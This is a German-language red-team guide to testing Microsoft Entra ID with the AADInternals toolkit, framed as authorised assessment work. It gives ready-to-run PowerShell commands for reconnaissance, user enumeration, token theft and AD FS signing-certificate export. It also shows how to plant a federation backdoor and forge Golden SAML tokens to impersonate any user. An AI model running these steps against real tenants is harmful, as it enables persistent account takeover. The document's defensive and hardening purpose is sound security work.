Was macht Entra ID mit AADInternals prüfen?
Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Sicherheitstests, Red-Team-Einsätze und Schulungszwecke bestimmt. AADInternals kann SAML-Token fälschen und Federation-Hintertüren installieren, die eine dauerhafte Identitätsübernahme jedes Mandantenbenutzers ermöglichen. Verwenden Sie diese Werkzeuge nur gegen Mandanten, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Autorisierung (Regeln des Einsatzes) haben. Unbefugte Nutzung verstößt gegen das deutsche Computerstrafrecht (§§ 202a ff. StGB) und gleichwertige Gesetze.
Überblick
AADInternals ist das umfassendste offensive/administrative PowerShell-Toolkit für Microsoft Entra ID (ehemals Azure AD), Azure AD Connect und Active Directory Federation Services (AD FS), entwickelt von Dr. Nestori Syynimaa (Gerenios / Secureworks). Es stellt hunderte Cmdlets (alle mit dem Präfix AADInt) bereit, die unauthentifizierte Reconnaissance von außen, das Abrufen von Zugriffstoken für jede Microsoft-API, Verzeichnismanipulation, AD FS/PTA-Angriffe und die Technik abdecken, für die es am bekanntesten ist: Federation-Hintertüren, die den Pfad Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor missbrauchen, sodass ein Angreifer, der die IssuerUri einer föderierten Domäne kontrolliert, SAML-Token für beliebige Benutzer ausstellen kann – dies entspricht MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), derselben Technikklasse, die bei den SolarWinds (Golden SAML)-Angriffen verwendet wurde.
Das Toolkit trennt die Fähigkeiten nach erforderlicher Position. Invoke-AADIntReconAsOutsider und Get-AADIntLoginInformation benötigen keine Anmeldeinformationen – sie fragen öffentliche Endpunkte (getuserrealm, OpenID-Konfiguration, Autodiscover) ab, um verifizierte Domänen, Mandanten-ID, Federation-Typ, Branding und die Aktivierung von Desktop/Seamless SSO zu ermitteln. Mit einem ersten Zugang ermöglichen Get-AADIntAccessTokenFor*-Cmdlets den Erwerb von Token für Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management und andere, die optional zwischengespeichert werden, sodass nachfolgende Cmdlets sie wiederverwenden können. Mit einem Globalen Administrator (oder einem synchronisierten AD Connect-Konto) kann das Toolkit Verzeichnisgeheimnisse auslesen, Benutzer manipulieren und die Federation-Hintertür einrichten.
Diese Fähigkeit nutzt AADInternals aus einer defensiven Validierungsperspektive: Bestätigen Sie, was ein externer Angreifer erfahren kann, welche Token mit geringen Berechtigungen erreichbar sind und ob die Federation/AD FS-Konfiguration Golden SAML ermöglichen würde – und erstellen Sie dann Nachweise sowie Härtungsempfehlungen.
Wann verwenden
- Während eines autorisierten Red-Team- oder Assumed-Breach-Assessments für Entra ID / Microsoft 365
- Zur Aufzählung der externen Angriffsfläche (verifizierte Domänen, Federation-Typ, SSO) vor Credential-Angriffen
- Zur Überprüfung, ob die Federation und AD FS Token-Signierungszertifikate gegen Golden SAML geschützt sind
- Zum Testen des Token-Erwerbs und der Wiederverwendung über Microsoft-APIs von Erstanbietern
- Beim Aufbau von Erkennungen (in Kombination mit der Blue-Team-Graph-Protokolljagd-Fähigkeit) und wenn echte AADInternals-Telemetriedaten benötigt werden
Voraussetzungen
- Schriftliche Autorisierung, die Identity-Angriffe und Federation-Hintertür-Tests abdeckt
- Windows-Host mit PowerShell 5.1+ (oder PowerShell 7 auf der unterstützten Teilmenge)
- Für Hintertür/Federation-Tests: Globaler Administrator (oder gleichwertig) im Zielmandanten, gemäß den Regeln des Einsatzes
- Installation des Moduls aus dem PowerShell-Katalog:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Eine plattformübergreifende AsOutsider-only-Neuimplementierung (ohne Anmeldeinformationen) ist ebenfalls verfügbar: # https://github.com/synacktiv/AADOutsider-py - Vertrautheit mit SAML/WS-Federation, OAuth-Token und Azure AD Connect
Ziele
- Unauthentifizierte Mandanten-Reconnaissance durchführen und verifizierte Domänen, Mandanten-ID und Federation-Typ aufzählen
- Zugriffstoken für Microsoft-APIs von Erstanbietern abrufen und zwischenspeichern
- Mit einem authentifizierten Token Benutzer/Gruppen/Rollen aufzählen
- Die Federation-Hintertür / den Golden-SAML-Pfad unter kontrollierten, autorisierten Bedingungen testen
- Exposition dokumentieren und Härtungsempfehlungen geben (Schutz des Token-Signierungszertifikats, Überwachung der Federation)
MITRE ATT&CK-Zuordnung
| ID | Technik | Anwendung in dieser Fähigkeit |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken fälschen SAML-Token für beliebige Benutzer über eine kontrollierte Federation IssuerUri (Golden SAML) |
Verwandte Techniken: T1087.004 Account Discovery: Cloud Account (Reconnaissance), T1528 Steal Application Access Token (Token-Erwerb), T1556.007 Modify Authentication Process: Hybrid Identity (Federation/PTA-Hintertüren).
Arbeitsablauf
Schritt 1: Unauthentifizierte externe Reconnaissance
Keine Anmeldeinformationen erforderlich. Identifizieren Sie verifizierte Domänen, Mandanten-ID, Federation-Typ, Branding und SSO-Status.
# Vollständige externe Reconnaissance für eine Domäne (Tabellenausgabe)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Anmelde-/Bereichsdetails: Federation vs. Managed, AuthURL, Branding
Get-AADIntLoginInformation -Domain "target.com"
# Mandanten-GUID
Get-AADIntTenantID -Domain "target.com"
Schritt 2: Externe Benutzeraufzählung (optional, lautstark)
Überprüfen Sie, ob Benutzernamen über die GetCredentialType-/Autologon-Endpunkte existieren.
# Übergeben Sie eine Liste von UPN-Kandidaten, um die Existenz zu testen
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Oder pipen Sie mehrere:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
Schritt 3: Zugriffstoken abrufen und zwischenspeichern
Mit gültigen Anmeldeinformationen (oder einer interaktiven Aufforderung) erhalten Sie Token für die benötigte API. -SaveToCache ermöglicht es nachfolgenden Cmdlets, das Token automatisch wiederzuverwenden.
# Azure AD Graph (legacy graph.windows.net)-Token, zwischengespeichert
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Schritt 4: Authentifizierte Verzeichnisaufzählung
Lesen Sie mit einem zwischengespeicherten/erworbenen Token Verzeichnisobjekte, um die Berechtigungen zu kartieren.
# Globale Mandanteninformationen (verwendet zwischengespeichertes AAD Graph-Token)
Get-AADIntTenantDetails
# Benutzer aufzählen und nach privilegierten / synchronisierten Konten suchen
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Schritt 5: Federation-/AD FS-Konfiguration prüfen
Stellen Sie fest, ob der Mandant föderierte Domänen verwendet und wo die Token-Signierungsschlüssel abgelegt sind – die Voraussetzung für Golden SAML.
# Wenn Sie Zugriff auf den AD FS-Server haben, exportieren Sie das Token-Signierungszertifikat
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# AD FS-Konfiguration / Verschlüsselungsschlüssel auslesen (auf der AD FS-Box oder über DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
Schritt 6: Federation-Hintertür / Golden SAML (nur autorisiert)
Wandeln Sie eine Domäne in eine Hintertür um, indem Sie eine bekannte IssuerUri setzen, und fälschen Sie dann ein SAML-Token für einen Zielbenutzer unter Verwendung der ImmutableId dieser Domäne. Nur in einem kontrollierten Mandanten mit ausdrücklicher Autorisierung.
# Erfordert ein in Schritt 3 zwischengespeichertes Global-Admin-Token (AAD Graph)
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Die Ausgabe enthält die IssuerUri, die beim Fälschen von Token wiederverwendet wird.
# Ein SAML-Token fälschen, das einen Benutzer impersoniert (ImmutableId aus Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Verwenden Sie das gefälschte Token, um eine Portal-Sitzung als der impersonierte Benutzer zu öffnen
Open-AADIntOffice365Portal -SAMLToken $saml
Schritt 7: Exposition dokumentieren und härten
Halten Sie genau fest, was die Reconnaissance ergeben hat, welche Token/APIs erreichbar waren und ob der Hintertür-/Golden-SAML-Pfad erfolgreich war. Empfehlen Sie: AD FS-Token-Signierungszertifikate schützen (HSM, eingeschränkter DKM-Zugriff), auf neue/geänderte Federation-Vertrauensstellungen alarmieren, Set-DomainAuthentication/Set-MsolDomainFederationSettings überwachen und wo möglich zu verwalteter (Cloud-)Authentifizierung migrieren.
Werkzeuge und Ressourcen
| Ressource | Zweck | Quelle |
|---|---|---|
| AADInternals | Entra ID / AD FS Angriffs- und Verwaltungs-Toolkit | https://github.com/Gerenios/AADInternals |
| AADInternals-Dokumentation | Cmdlet-Referenz und Technikbeschreibungen | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Plattformübergreifende AsOutsider-Neuimplementierung | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML Hintergrund | Federation-Hintertür-Technikbeschreibung | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
Cmdlet-Kurzreferenz
| Cmdlet | Position | Zweck |
|---|---|---|
Invoke-AADIntReconAsOutsider | Keine | Verifizierte Domänen, Mandanten-ID, Federation-Typ, SSO |
Get-AADIntLoginInformation | Keine | Bereichs-/Anmeldeinformationen für eine Domäne |
Get-AADIntTenantID | Keine | Mandanten-GUID |
Invoke-AADIntUserEnumerationAsOutsider | Keine | Benutzerexistenz prüfen |
Get-AADIntAccessTokenForAADGraph | Anmeldedaten | Azure AD Graph-Token (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | Anmeldedaten | Microsoft Graph-Token |
Get-AADIntAccessTokenForEXO | Anmeldedaten | Exchange Online-Token |
Get-AADIntUsers | Token | Verzeichnisbenutzer aufzählen |
ConvertTo-AADIntBackdoor | Globaler Admin | Eine Domäne in eine Federation-Hintertür umwandeln |
New-AADIntSAMLToken | Hintertür | Ein SAML-Token für einen Benutzer fälschen (Golden SAML) |
Open-AADIntOffice365Portal | SAML-Token | Eine Portal-Sitzung als der impersonierte Benutzer öffnen |
Validierungskriterien
- Externe Reconnaissance abgeschlossen; verifizierte Domänen, Mandanten-ID und Federation-Typ aufgezeichnet
- Benutzeraufzählung getestet (oder als außerhalb des Geltungsbereichs dokumentiert)
- Zugriffstoken für mindestens eine Microsoft-API erworben und zwischengespeichert
- Authentifizierte Verzeichnisaufzählung durchgeführt (Benutzer/Rollen, synchronisierte Konten notiert)
- Federation-/AD FS-Konfiguration auf Offenlegung des Token-Signierungsschlüssels geprüft
- Hintertür-/Golden-SAML-Pfad in einem autorisierten, kontrollierten Mandanten getestet oder als außerhalb des Geltungsbereichs dokumentiert
- Exposition mit konkreten Auswirkungen dokumentiert
- Härtungsempfehlungen übermittelt (Zertifikatschutz, Federation-Überwachung, Migration zu verwalteter Authentifizierung)